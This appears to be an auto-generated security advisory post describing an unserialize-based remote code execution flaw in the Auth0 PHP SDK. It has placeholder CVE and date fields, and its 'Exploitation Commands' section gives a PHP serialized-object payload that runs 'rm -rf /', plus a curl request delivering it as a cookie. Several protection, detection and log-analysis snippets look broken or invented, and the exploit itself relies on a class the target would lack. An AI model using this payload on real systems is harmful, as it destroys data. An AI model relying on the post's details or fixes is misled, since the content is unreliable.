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How the CVE Works
The vulnerability in Auth0 PHP SDK (CVE-2023-XXXX) stems from insecure deserialization of untrusted cookie data. Attackers can craft malicious serialized objects within cookies, which, when processed by the SDK, execute arbitrary code due to improper validation. Since the SDK processes cookies before authentication, unauthenticated attackers can exploit this flaw to achieve remote code execution (RCE). The deserialization flaw affects PHP’s `unserialize()` function, allowing object injection attacks.
DailyCVE Form
Platform: Auth0 PHP SDK
Version: 8.0.0-BETA3 to 8.3.0
Vulnerability: Insecure Deserialization
Severity: Critical
Date: 2023-XX-XX
Prediction: Patch expected by 2023-XX-XX
What Undercode Say:
Exploitation Commands:
1. Malicious Cookie Crafting (PHP):
<?php
class Exploit {
public $cmd = 'rm -rf /';
function __destruct() { system($this->cmd); }
}
echo urlencode(serialize(new Exploit));
?>
2. Curl Exploit Request:
curl -H "Cookie: auth0_session=PAYLOAD" http://target.com
Protection Measures:
1. Immediate Upgrade:
composer require auth0/auth0-php:8.3.1
2. Input Validation:
if (!is_authenticated()) {
throw new Exception("Unauthorized deserialization");
}
3. Disable Dangerous Functions:
; php.ini disable_functions=unserialize
Detection Script (PHP):
if (version_compare(\Auth0\SDK\Configuration::VERSION, '8.3.1', '<')) {
die("Vulnerable SDK detected!");
}
Log Analysis (Bash):
grep -r "unserialize.cookie" /var/log/auth0/
Mitigation Workaround (Nginx):
location / {
if ($cookie_auth0_session ~ "O:[0-9]+:") {
return 403;
}
}
References:
– Auth0 Advisory
– PHP Object Injection
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
